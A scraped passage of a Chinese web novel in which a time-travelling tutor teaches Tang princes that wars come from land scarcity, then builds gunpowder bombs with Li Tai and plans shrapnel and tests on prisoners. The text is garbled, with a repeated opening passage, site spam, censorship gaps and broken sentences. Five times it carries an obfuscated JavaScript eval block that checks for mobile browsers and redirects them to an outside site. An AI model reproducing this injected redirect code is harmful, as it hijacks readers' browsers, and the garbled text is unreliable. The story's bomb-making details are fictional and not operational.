“为什么要学历史?对于这个问题,我相信你们都会感到疑惑。 “而我想说的是,历史是一幅宏大画卷,描绘了每个时代不灭的痕迹,记录了人性的善与恶,展现了它独特的魅力,让我们清楚地认知到自己的渺小。 “在这幅宏大的画卷里,或许有千变万化,但底层的规律,就是人性的规律。 “熟读历史,了解历史,走近历史,你们才能真正体会到它的魅力! 话落,诸多同学不敢大意,一个个正坐,面露郑重。 陈衍对此很满意,提出了今天第一个问题:“黄帝、蚩尤,相信大家都不陌生。 “那么提起这两位人物,你们首先想到什么? 高阳默默道:“涿鹿之战? “没错!陈衍赞同道:“就是涿鹿之战,它是我们华夏大地第一场大规模战争,其意义深远。 “那么这里就有一个问题了,涿鹿之战为什么爆发?黄帝和蚩尤为什么打起来? “. 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “新课!老同学眼睛顿时亮了。 李泰当即举手,“陈先生,请问是什么新课? “嗯,李同学今天比较有礼貌,为师很欣慰。陈衍平淡地颔首,李泰眼角一抽。 “咳咳,新加入的课,是我临时决定的。陈衍站在讲台上,环顾众人,“在场的要么身份不凡,要么未来可期,像是杜同学他们算得上未来的朝廷栋梁。 “所以,我决定教教你们——历史! 历史? 同学们闻言皆面露疑惑,不太理解陈衍为何要教历史。 要说他们别的地方在陈衍面前可能跟小屁孩一样,什么都不懂,但在历史方面,他们一个个,包括李丽质都能算得上专家了。 史书都不知道被他们翻了多少遍,不说倒背如流,那也差不多。 这有什么好教的? 陈衍明白他们的疑惑,淡笑道:“你们或许认为,熟读史书的你们很了解历史,对历史上每一个名人都能如数家珍。 “但清楚归清楚,你们真的深入了解过吗? “引经据典不难,可引以为戒却难如登天! “就好比去年的大水,大水过后的瘟疫,历史上明确记载了发大水前各种前兆,然而你们这些熟读历史的人,有一个人发现吗? 短短几句话,瞬间让在场的人沉默了。 “为什么要学历史?对于这个问题,我相信你们都会感到疑惑。 “而我想说的是,历史是一幅宏大画卷,描绘了每个时代不灭的痕迹,记录了人性的善与恶,展现了它独特的魅力,让我们清楚地认知到自己的渺小。 “在这幅宏大的画卷里,或许有千变万化,但底层的规律,就是人性的规律。 “熟读历史,了解历史,走近历史,你们才能真正体会到它的魅力! 话落,诸多同学不敢大意,一个个正坐,面露郑重。 陈衍对此很满意,提出了今天第一个问题:“黄帝、蚩尤,相信大家都不陌生。 “那么提起这两位人物,你们首先想到什么? 高阳默默道:“涿鹿之战? “没错! “那么这里就有一个问题了,涿鹿之战为什么爆发?黄帝和蚩尤为什么打起来? “. 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第431章 战争爆发的本质 黄帝和蚩尤为什么打起来?涿鹿之战到底是怎么爆发的? 问题一抛出来,大家都安静了,一个个低头琢磨起来。 在大唐,无论是李世民,亦或者像是杜如晦房玄龄这等文臣,对于涿鹿之战的看法都是“武功”的终极典范,“文治”的起点。 但对于涿鹿之战为什么爆发,民间与朝堂众说纷纭,每个人有每个人自己的见解,很难说得清楚。 毕竟这是历史上第一场大规模战役,其中蕴含的因素实在太多,很难说得清楚。 杜构蹙眉道:“我爹曾说过,涿鹿之战的爆发是“秩序”与“混乱”、“王道”与“霸道”的必然冲突。” “其中包括了道德、**、华夷秩序等等原因,是一场不可避免的统一战争。” “有道理。”陈衍微微颔首,没对杜构的回答发表看法,继续问:“还有同学有另外的回答吗?” 李泰缓缓说:“我比较认同杜构的回答,天下合久必分、分久必合,以当时部落各自为生的情况,统一是必然的趋势。” “那么当时最大的两个势力,即黄帝和蚩尤爆发战争,打起来也就不奇怪了。” 说着,他顿了顿,“当然,民间还有一种说法,黄帝因为其德行和能力,获得了天命,从而有资格和能力平定天下。” “简单来说就是天命所归!” 其余之人纷纷点头附和,李泰的话并无不妥。 然而陈衍却笑了,“你们说的都很笼统,什么“王道”、“霸道”又是混乱,又是秩序的,还有个天命所归。” “从某种层面来说,你们并没错,这确实是战争爆发的原因,可却不是主要的原因。” “我听过许多对于涿鹿之战爆发原因的解释,比你们有更夸张的,更合理的,甚至还有神话咱们这两位老祖宗的。” “但却没有一个人说出那个真正的答案,那个最基本,亦是最简单的答案!” 陈衍捏起一块自制的粉笔,转身在后面的小黑板上写下了两个大字。 “田!” “地?” 李义府与戴至德念出了陈衍写下的字。 “没错,就是田地!” 陈衍微笑道:“其实你们说的那些原因都是狗屁,涿鹿之战爆发的根本原因,就是当时黄帝部落和蚩尤部落人口日益增多,田不够种了!” “然后他们自然而然为了争夺田地,或者说生存资源打了起来。” “它无关善恶,没有什么所谓的高尚与残暴,本质上就是为了争夺土地和盐池这两张无比重要的生存资源从而爆发的战争。” 他的话音落下,在场众人的脑瓜子都嗡嗡的。 所以.涿鹿之战爆发的原因,就是因为双方的田不够种了? 这. 大家一时间面色复杂得很,很想找出一些理由来反驳陈衍,可他们都不是傻子,而且是一等一的聪明人,仔细想想,便已然明白陈衍大概率是对的。 他们从前总将这场战争往高端的方向去想,却没想到,真正的原因居然如此嗯,朴实无华。 “不要觉得意外。”陈衍的声音再度响起,“为了有更多的田种,为了收获更多的粮食,为了养活自己部落日益增多的子民,也就是为了能活下去,爆发战争是很难理解的事吗?” “历史上这样的例子太多了,汉高祖当初起事前年龄都多大了?四五十岁了吧?如果不是实在活不下去,他会选择反吗?” “甚至他在早期占领丰邑后,一度满足于此,产生了守着一亩三分地的想法。” “他不一样是为了活下去吗?” 陈衍继续道:“土地兼并危害为什么大,不就是因为百姓被抢走了田,没有了收成,活不下去了。然后走向起义推翻王朝吗?” “所以,生存!便是战争的本质以及基层逻辑!” “原来如此.”李泰喃喃自语,转而问:“既然如此,那么陈先生,是不是所有的战争都是有迹可循的?” “对,没错!所有的战争皆有迹可循。”陈衍道:“你想想,如果你是一个普通百姓,你活得好好的,家里有田有粮,一家人可以吃饱穿暖,日 子虽然平淡,却也安稳幸福。 小说的域名caixs.com‰(请来才 小说 看最新章节 完整章节) ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723046|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你乐意跟人去**打仗吗? “当然不!李泰脱口而出,“那不傻吗? “我过得好好的,干嘛要把脑袋别在裤腰带上去拼命? “你看,这不就完了吗?陈衍淡笑。 杜构和房遗直几人若有所思,好像悟到了什么。 陈衍停顿片刻,让大家消化一下,才继续问:“既然了解了战争的本质,那么我再问你们,你们认为大唐目前可能遭受外敌入侵吗? “大唐周边几个国家都表现出了臣服的意思,派遣使者来到我们大唐,尊称我们的陛下为天可汗。 “那么他们真的臣服了吗? 此话一出,所有人都惊了。 陈衍平静道:“对于这个问题,我可以给予你们一些时间,慢慢想,不着急。 此刻,课堂内一片安静。 除了兕子和城阳这几个当故事来听的小孩子,其余之人纷纷陷入了沉思中。 本以为回答这个问题的会是杜构、房遗直他们,亦或者魏王。 却不曾想,高阳最先说:“反正我是不相信那些人会真的臣服,历史不早就给出了答案了吗? “昔年汉武帝把匈奴打得元气大伤,一度俯首称臣。可后来呢?一旦中原王朝出现动荡,他们立刻卷土重来。 “而且你刚刚也说了,生存是战争的本质,大唐周围有太多游牧国,他们缺少的生存资源不要太多,怎么可能停止入侵大唐?! 一段话,如惊雷般炸响在所有人的脑海,瞬间让他们从往日的盛况中脱离。 “陈先生,你的意思是李泰急了。 陈衍目光扫过他们,“看来你们明白了。不错,大唐目前看似一片欣欣向荣,但今年或许是近年来唯一可以安稳的一年了。 “不出意外的话,今年休养一年,明年,战火又将被点燃。 “哪怕周围的异国不来入侵,我相信陛下也会主动起刀兵。 “生存之战,无可避免! “你们看,这就是学历史的意义,我们要了解的,是人性与一切的基本逻辑。 “等你真正深入了解后,你会发现一切的一切都能在历史中找到答案,有迹可循! “. 第432章 开窍了? “所以说要打仗了?” 在大家都沉默的时候,李丽质小声询问了一句。 魏王叹气道:“虽然没有任何证据,但我认为陈先生说的对,或许真的快要打仗了。” “我是相信陈先生的!”杜构毫不犹豫道。 去年,陈衍说马上要来洪水了,大家将信将疑,可在洪水来临的那一刻,大家只有庆幸。 庆幸他们尽管有些怀疑,可依然按照陈衍的安排准备了防洪措施,才没造成大量损失。 “那我们现在应该需要告诉父皇一声吧?”李丽质明显有些急了。 事关战争,当然得马上上报啊。 可其他人却无动于衷,连兕子这个小家伙都淡定得一批。 “节奏姐,你刚刚没听阿兄说吗?即使异国不主动入侵,阿耶也会主动出击。这不正好说明了,阿耶肯定知晓此事吗?” “节奏姐,今天你有点笨啊,高阳阿姐赢了一筹。” 李丽质:“.” “扑哧!”高阳一个没忍着,笑出了声:“兕子,其实一直想问,这个节奏姐的外号到底是怎么来的?” “那还用问吗?”兕子笑嘻嘻地说:“当然是因为她有自己的节奏啦!” “那还有个疑惑哥嗯,以及这位笑眯眯的指教哥。” 杜构:“.” 李义府:“.” 陈衍顿感头疼,眼看李丽质要生气了,连忙出声说:“好了,今天的历史课先上到这里,我希望你们记住,比记住年代和事件更重要的,是去理解历史事件背后的本质和规律。” “只有真正明白了这些底层逻辑,你们才能以史为镜,避免重蹈历史上的悲剧和遗憾。” “因为只有当你们明白这一切之后,才能真正做到引以为戒,不让历史上的悲剧或者遗憾上演!” “平时要多读书,多观察,多思考。用所有有用的知识来充实你们的大脑,开拓你们的眼界和格局,知识和思维,才是你们未来面对任何风浪时,最坚实的依靠。” “特别是你们几个。”陈衍目光落在马周这群县衙的人身上“如果你们几个未来想往上走那么需要学的东西还有很多。” “例如马上要起战争这件事宫里那群大臣可能早就看清楚局势了而你们却一副什么也不清楚的样子连最基本的居安思危都做不到沉浸在国家即将兴盛的荣光里。” “这可不行!” 他们知晓陈衍是在为自己好连连点头表示明白。 魏王此时笑着说:“陈先生你未免对他们要求太高了要知道他们大多是年轻人怎么能跟朝中那些人比?” “他们已经很优秀啦。” 陈衍眨眨眼:“那我呢?” 李泰:“.” 他一时语塞很想说一句不是所有人都跟你一样变态的。 大家都是普通人啊。 “开玩笑的。”陈衍笑着说:“不过若杜构你们想一辈子待在县衙里当个小官那你们就当我没说。” “傻傻的什么也不清楚啥都不了解其实能活得很轻松。” 众人:“.” “.” 下课之后陈衍担心李丽质揍兕子赶紧将这个越来越妖的小家伙拉走了。 边走边教训道:“你个丫头最近是越来越无法无天了那可是从小疼爱你的亲姐你叫什么节奏姐呢?” “她可是会揍你的。” 兕子无奈抱怨:“阿兄 “有时候你回头特意等等她她竟然都不敢去找你你主动找她吧就蔫巴巴地说几句话主动找话题也能被她聊死。” “你说我咋有这么个笨姐姐呢?” “能不能给换一个?” 陈衍:“.” 看得出来这小家伙确实是尽力了但李丽质着实有些不争气导致小家伙心有怨气。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723047|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹了口气实在不好说什么。 打算改天找李丽质好好聊聊才行。 陈衍猜测李丽质之所以这么不争气除了对高阳有愧这方面原因或许是又一直没能怀上孩子导致有些那啥。 问题既然已经出现那就必须立刻解决不让小问题随着时间推移变成大问题这是陈衍一直以来的行事方式。 然而在兕子抱怨的时候一大一小两人往前走的时候突然感觉背后有脚步声。 两人困惑地扭过头然后就看见李丽质眼睛一眨不眨地盯着他们。 兕子一惊暗道一声不好赶忙躲在了陈衍身后。 她没想过要跑因为如果刚刚自己说的话被李丽质听见了李丽质恐怕会真的生气。 而李丽质若真生气无论她跑到哪里都没用只有陈衍身边才是最安全的。 陈衍见状扯了扯嘴角露出一个尴尬的笑容:“丽质啊你什么时候来的?” “从你说我会揍她的时候就来了。”李丽质幽幽道。 兕子:“.” 陈衍:“.” 从那个时候开始那小家伙说的话岂不是全被听见了? 陈衍当即对小家伙露出一个怜悯的目光。 你恐怕难逃一劫啊! 兕子可怜巴巴地看着他。 哪怕她什么都没说陈衍同样能明白她想说什么。 “阿兄救!救一下!” 他捂了捂脸好气又好笑。 现在知道怕了? 刚刚一口一个节奏姐的时候你怎么不怕? 他心里默默叹息打算尝试一下能不能救。 陈衍抬头试探性地问:“丽质你来找我是有什么事吗?” 李丽质原本是想来好好问问陈衍有关战争要爆发的问题但现在她不想问了 咦? 兕子一惊从陈衍身后探出小脑袋。 节奏姐开窍了? “.” 第433章 差点见太奶 自五月来临,陈衍除了给大小同学上课,就在女儿满月宴当天露面的次数多些。 除了这些时候,陈衍一直跟魏王猫在科研院里,神神秘秘,不知道在干些什么。 李丽质和高阳问过,陈衍依旧闭口不谈。 初六这天,李丽质正在安排下人打扫各地,高阳则在奶孩子。 大家都在各自忙着自己的事。 “轰——” 忽然间,一道剧烈的声响骤然炸开,把县令府所有人吓了一大跳。 主卧高阳的屋子内顿时传来了小孩子的哭闹,下人们表情惊恐,窃窃私语不知发生了何事。 李丽质呆呆地望着声音传来的方向,显得有些不知所措。 此时,高阳抱着哭闹的小岁宁走出来,见李丽质还在发呆,连忙说:“姐姐,刚刚那动静好像是旁边科研院里传来的,你帮我照顾一下小岁宁,我去看看。” 李丽质回过神,忙摇头,“不行不行,怎么能让你去,我去吧,你等我消息。” 说着,她不给高阳拒绝的机会,急匆匆跑过去了。 高阳心里也担心得很,实在是方才的动静太吓人了,跟天上炸响的雷霆一样。 陈衍可是在那呢。 “香岚,你帮我照顾一下小岁宁,我去看看。” 她叫来有些害怕的香岚,把女儿塞给她,然后迈步跟了上去。 “兕子,咱们要去看看吗?” 这时,两个小脑袋从一间屋里探出来,脸上带着后怕的城阳公主犹豫着问。 兕子这个小家伙倒是一点都不怕:“当然要去啦,我觉得刚刚那动静绝对是阿兄弄出来的,咱们去看看热闹。” “说不定,阿兄又弄出什么好玩的东西呢。” 听闻此话,城阳公主有些心动了,跃跃欲试道:“好,那咱们走吧,反正丽质阿姐和高阳阿姐已经去了。” “走走走!” “.” “咳咳咳!” “我我尼玛!” 此时科研院的一处空地上陈衍和李泰狼狈至极原本两个好好的小伙子此刻脸上黑扑扑的皆是一副劫后余生的模样。 两人走远一点然后纷纷腿一软瘫倒在地。 “陈陈兄啊你这玩意威力好像有点大啊。”李泰一脸庆幸自己刚刚可是差点见了阎王爷。 “还不是你个脑瘫!”陈衍气瞬间上来了忍不住破口大骂:“你特么整的什么玩意?那引线为什么燃得那么快?” “我不是早告诉你引线做长一点做长一点吗?” 李泰委屈道:“不是啊陈兄引线我明明已经做很长了可咱们经验不足做出来的引线燃烧太快我.我也没想到啊。” “唉!我的老天爷啊!” 陈衍躺在地上已经生无可恋。 “你到底是个什么选手?怎么整出来的东西都是奔着要人命去的?” “上回是太子这回是我你到底啥时候能靠谱点?” 李泰张了张嘴忽然想到了什么怒了:“你还好意思说我咱俩不是半斤八两吗?” “你开头的时候告诉过我这玩意有这么大威力吗?若不是方才咱俩跑得快现在已经去下面见老祖宗了吧?” “还有是谁开头的时候信誓旦旦说威力不会太大的 说着他猛地直起身子指着远处焦黑的土坑周围的东西、材料被掀得七零八落一片狼藉。 说真的上回坐那个热气球开头他信心很足所以上去之后并没有多害怕只是下来之后被陈衍告知了那样坐有多危险才感到后怕。 但这回两人却是实实在在差点见了太奶一点不开玩笑啊。 在那玩意引线燃烧太快的时候两人就意识到了不对赶紧撒腿就跑了但依然被剧烈的**波及到了一点。 现在他们背后的衣服还是烂的呢。 李泰毫不怀疑若是刚刚两人没跑的话说不定已经飞起来了。 嗯.不借助热气球那种飞起来。 “那你做的引线不一样有问题吗?”陈衍伸着脖子说:“你但凡做长一点燃烧不那么快咱俩能变成这样?” 一番话说完两人突然全沉默了。 过了一会儿他们默默对视一眼谁都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723048|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没再抱怨彼此。 “魏王!国公爷!” 这时背后传来一声大喊以及好几道着急的呼喊。 陶大叔带着一群人急忙围了过来。 陈衍摆摆手“我们没事 李泰望着天空无神道:“对让我们躺躺。” 听闻此话哪怕陶大叔他们再着急也不敢上手了稍稍退了两步注意力放在远处**的位置。 当看到那边黢黑的坑洞以及周围的惨状这些人纷纷吞了口唾沫。 “这这是有天雷降下了吗?” 陶大叔颤抖着声音说。 “天雷?” 陈衍和李泰一怔然后同时哈哈大笑起来笑得畅快笑得肆意。 “哈哈哈哈哈小胖子我这玩意行吧?” “行太行了啊!” 李泰振奋不已连他叫自己小胖子都没计较了。 当李丽质和高阳急匆匆赶过来时恰好看到了两人躺在地上笑得跟个二傻子似的。 一张脸黑得简直让人认不出来只露出一口大白牙。 “夫君!” 见状两人瞬间急了赶紧冲了过来小心翼翼地将陈衍扶起来。 “夫君你没事吧?你”李丽质话说到一半声音戛然而止。 当她和高阳将陈衍扶起清晰地看到他背后那破布般褴褛的衣衫以及衣衫下那混合着泥土与血丝的伤口时李丽质的眼眶唰一下就红了。 眼泪瞬间就涌了上来在她漂亮的眼睛里打转。她想伸手去碰又怕弄疼他手悬在半空微微发抖。 “你你怎么伤成这样!”她的声音带着哭腔又是心疼又是气恼“你们到底在干什么呀!不要命了吗!” 高阳也是倒吸一口凉气脸色发白。 她强自镇定快速检查了一下陈衍后背的伤势见多是皮外伤看着吓人但应该未伤及筋骨才稍微松了口气但眉头依旧紧锁:“还好只是皮肉伤。但必须立刻清理上药不然感染了就麻烦了!” 话落两人急忙搀扶着陈衍走了。 李泰刚抬起手顿在半空见他们已经走远欲哭无泪:“我可是你们亲哥呀!” “.” 第434章 ** “嘶!轻点,疼!” 陈衍趴在床上,疼得龇牙咧嘴。 刚刚还没什么感觉,躺在地上都没事,现在被李丽质一上药,立即便感觉疼起来了。 李丽质经过最初的惊吓,现在心情也缓和了许多,见他还敢抱怨疼,没好气道:“知道疼你还跟魏王胡闹?” “整天神神秘秘的,我还以为你能做出什么好东西呢,结果好东西没等到,反倒等到了你们受伤。” “可真行!” “谁说没做出来的?”陈衍哼哼道:“若没做出来,我能受伤吗?” “要我说啊,全赖你们皇兄,一点都不靠谱,做出来的东西没一件能使的,倘若他靠谱点,我哪至于受伤啊?” “是吗?”高阳冷不丁开口:“可方才回来的时候,他也在跟皇嫂抱怨你不靠谱,说全是你的错!” 陈衍:“.” “半斤对八两吧,我也没想到那个东西那么猛!” 陈衍郁闷了。 谁都知道一硝二硫三木炭,加点白糖大伊万,他自然是听说过的。 可他其实没太在意,毕竟这话是在网上流传太广,而且明显运用了夸张的描写。 更何况这里是大唐,各方面都比不上后世。 这不,眼看无旌骑要出征了,他想着给人家整点保命的东西,那么**自然便是首选。 只是,让陈衍没想到的是,加点白糖的效果居然这么猛! 好悬没给他搭进去。 高阳冷哼:“你就玩吧,等你哪天把自己玩**,我马上带着闺女改嫁,灵我都不给你守。” 陈衍:? “不是,我现在可是伤员啊,而且我又不是故意的,你说话不能好听点吗?” “你难受的时候我可从来没对你说过重话。” 高阳张了张嘴,最终还是没说出什么难听的话。 只是她目光从未离开过陈衍背上,显然还是担心的。 眼看气氛沉下去,李丽质连忙扯开话 题:“夫君,你到底跟皇兄做了什么东西? “威力居然那么大,我起初还以为是有天雷降下呢。 “哼哼,我所做的东西,叫做**!陈衍得意道:“这还要感谢你父皇啊,若不是他想长生,找来一群方士炼仙丹,我都制造不出这么大威力的东西。 “你不知道,那玩意太猛了,小小的一个,就一个盒子大小,若是往战场里一丢.呵呵,哪怕没炸**也能吓**。 李丽质眨眨眼,“这跟父皇炼仙丹有什么关系? “你所说的**,应该属于武器吧? “勉强称得上吧。 “至于跟那群方士有什么关系.嗯,因为他们制作**的核心便是**,他们用这玩意来炼制仙丹,我特地了解了一下,发现他们经常炸炉,而且威力很大。 “光是他们炼仙丹的过程中就炸**不少人。 “我寻思着,既然能炸**,能不能将这玩意改良一下,给即将出征的无旌骑用来对敌。 “没想到真成了。 高阳恍然大悟:“我确实记得有一段时间,你经常拿着那丹方看来看去的,依稀记得你从前还说过,那丹方里还藏着惊喜。 “这么一说,我也想起来了。李丽质凝重道:“你从前还可惜过父皇把那群方士杀了,说他们是人才。 “对!陈衍嗤笑:“那群方士啊实在愚笨,明明掌握这么厉害的东西却不自知,若他们不搞什么仙丹,转而钻研**。一旦做出来,把**献给你父皇,加官进爵简直是小儿科。 “那是真正的大杀器,我有预感,**的出现,可能会改变以后的作战方式! 对于陈衍的话,李丽质和高阳没有任何怀疑。 因为但凡有人听到那****的声音,以及看过**的威力,就绝对不会怀疑陈衍的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723049|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! “夫君,那我们要上奏父皇吗?李丽质询问道:“你此前说战火将起,不如多制作一些**,让父皇他们用来应 对外敌。” “有这样的神物,那将士们也能少点牺牲,尽快带回捷报,结束战争。” 陈衍犹豫了一下,说:“我做这个东西出来,本就是为了给无旌骑,以及大唐的将士们使用的,交给你父皇,运用在战场上再好不过。” “只是,目前恐怕不太行,这东西太不稳定,你皇兄做出来的引线同样不行,一旦不小心那就不是杀敌,而是伤己了。” “等等吧,我跟李泰继续钻研钻研,等做出好的,在无旌骑即将出征的时候,给你父皇一个惊喜。” “那父皇恐怕又得好好想想该给你什么赏赐了。”李丽质笑道。 “攒着吧,给孩子好了,我不需要。”陈衍无所谓道。 他心里甚至还在想,要不要回长安惹点事,把自己的爵位往下降降。 高阳察觉到了李丽质说完之后,陈衍的脸色稍微变了一下,想起他从前跟自己说的话,立即把话题转移开: “对了,你说大唐马上要打仗了,是今年吗?” “今年肯定不会!”陈衍摇头:“今年是大唐休养生息的一年,边境的局势也不算特别严峻,你们父皇不会动兵的。” “我预想,应该是贞观七年,最迟贞观八年绝对会打起来。” 他这话倒也不全是推测,因为根据史料记载,贞观八年底,李世民便派已年过花甲的李靖攻打吐谷浑。 而因为他的出现,李世民现在有钱有粮,又有全新的战甲和武器,加上李靖目前还能打,所以陈衍猜测李世民可能会提前动兵。 倘若他再拿出**,明年也不是没有可能。 毕竟,以李世民的性子,如果有把握的情况下,怎么可能容忍边境一直被吐谷浑骚扰? “.” 第435章 在加点料 “陈兄,走啊,继续整!” 刚上完药,陈衍还说休息一下,没想到李泰屁颠屁颠地跑了过来,拉着他就往下拖。 见状,别说高阳了,饶是李丽质温婉的性子,此刻也不禁紧锁眉头,拦在李泰面前。 “皇兄,你们目前身上有伤,还是歇息一天吧,**的事不必急于一时。” 面对妹妹不善的目光,李泰回头看了看不说话的陈衍,又看了看李丽质,悻悻道: “丽质啊,不是说我们急,而是无旌骑马上便要出征了,我们必须尽快做出可以使用的**,否则他们深入敌国,没有任何依靠,太危险了。” “**是陈兄和我给他们准备的最大杀器,绝不能耽误啊。” “你们定好出征的日子了吗?”李丽质面无表情,“若我记得没错的话,无旌骑要出征这种话,你们最初定下的是开春,结果现在都五月份了,还用我多说吗?” “我不阻止你们继续钻研那危险的东西,我知道你们都是干大事的,所做的一切都是为了大唐,但你们刚受了伤,上好药还没两炷香时间,一定要那么急吗?” “这”李泰听后迟疑了。 这时,高阳站出来说:“你们做**的时候,手底下没人吗?先让他们收拾一下残局,或者准备好材料,等明天你们不就能直接上手改良了吗?” “更何况” 她上下扫了眼李泰,“你出来的事,皇嫂知道吗?” 李泰脸色一变,连忙说:“二位妹妹,你们就当我今天没来过,陈兄,我先走了,再见!” 说着,他毫不犹豫转身便走。 李丽质笑道:“还是高阳妹妹有办法,知道拿皇嫂来威胁他!” 高阳很反常地摇摇头:“是因为你说的话他听进去了,但只是缺一个台阶下罢了,我跟他斗了这么多年,对他还是了解的,平常的时候他不是一个惧内的人。” 李丽质点点头,没说什么。 高阳对陈衍道:“我不反对你继续钻研**,但你得答应我,以后小心点,别把自己弄伤了。” 听到这话,陈衍真的惊了。 眨了眨眼,满是不可置信地对李丽质说:“她不是高阳吧?一定不是吧?” 高阳:“.” 李丽质无奈道:“你以后也别说高阳妹妹不跟你好好说话了,她跟你好好说话,你又这样,你让她怎么办?” “就是!”高阳愤愤不平:“浪费老娘感情,咋不炸死你个瘪犊子玩意儿!” 陈衍乐呵呵地望着相处愈发自然的两姐妹,也不去反驳。 对他来说,挨几句骂没什么,反正他挨高阳的骂挨多了,习惯了。 再者自己也没少骂人家,不算什么。 重要的是,这个家越来越好了。 “.” 翌日,陈衍给众人上完课,立马便跟李泰勾肩搭背地赶往科研院。 一到平时做**的工作间,两人并未着急开始优化**,而是坐了下来,面前摆着昨天做出的另外一个**。 陈衍摸着下巴:“我认为目前****的威力是够的,昨天那个平地都被炸出了一个不小的坑,咱们隔了不远的距离都被波及到,可想而知离得近下场会是怎样。” “不过,我觉得依然可以优化一下,加入一些锋利的小刀片,铁碎块之类的东西。你想想,如果加入这些,在那么大的**冲击力下.” 李泰听后想象了一下那个场景,顿时打了个寒颤。 太特么.妙了啊! 他眼冒精光:“你说得对,这玩意毕竟是投入战场使用的,只要能杀敌,什么手段都是好手段!” “可有一个问题,咱们怎么实验呢?” “别说加入铁片了,昨天没加铁片都好悬没让咱俩去见太奶,若是加了,一个弄不好,咱俩就得完犊子啊!” “这简单!”陈衍回道:“我们把引线继续加长不就完了吗?只要留出足够的安全距离,这都不是什么事。” “再说了,咱们不会专门挖个坑实验,或者修建一些防御措施吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723050|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “更何况,我们为什么一定要亲自 上?找一些**犯来不就行了吗?” 李泰听得连连点头,“行,就按你说的办。” “今天咱们先将引线优化好,不连接**,直到做出满意的引线为止。” “昨天咱们确实有点莽撞了,得小心点。” 陈衍面露怪异:“魏王啊这可不像你的作风啊。” 察觉他奇怪的眼神,李泰那叫一个尴尬。 难道他会告诉陈衍,自己昨天回家又被魏王妃和儿子数落了吗? 妻子加孩子一起上,铁打的汉子也扛不住啊。 “好了好了,不说了,开干吧!” 陈衍会心一笑,没继续说下去。 两人即刻动手,分工明确,开始了优化**。 日子一天天过去,县令府的人经常能听到旁边传来的**声。 他们从一开始的感到惊慌,到逐渐**以为常。 李丽质和高阳也放下了心。 因为陈衍和李泰似乎吸取了教训,现在很小心,点燃**的时候都不自己上,而且准备了很多安全措施。 有一次,她们甚至还带着好奇的兕子和城阳公主跑去看了一下****。 满足了她们的好奇心之后,陈衍便不让她们去了。 这样的日子过了半个多月,直到五月二十一。 小顺子告诉陈衍,无旌骑的铠甲、武器、以及各种装备已经全部打造好了。 正好,陈衍前两天和李泰已经把最终版的**做了出来,已经秘密开始了量产。 “陈兄,怎么说?”李泰兴奋地看着陈衍。 他已经迫不及待想看看那些人,见到**威力之后的表情了! 陈衍掰着手指头算了算日子,思索片刻,当机立断道:“后天!后天上午就将你父皇请过来!” “咱们再叫上牛叔、苏定方他们,找上一个好位置。” “我们请他们看看什么叫做艺术!” “.” 第436章 展示艺术 原本李泰还在想为什么要后天,展示个**而已,明天把人叫过来不就可以展示了吗? 谁知,陈衍竟然说玩把大的,给多一点震撼! 这一下子说到李泰心里了。 所以,两人立即召集了一批信任的人,带着许多这几日制造出来的**出去了。 直到时间来到五月二十三日,上午。 刚下朝的李世民和李承乾便被叫了过来,除了他们之外,还有牛进达等人。 来时,李世民是有些期待的,因为陈衍神神秘秘的,说要给他看看什么叫做艺术。 他顿时明白这小子绝对弄出了什么好东西,又想整花活儿了。 所以他很期待地过来了。 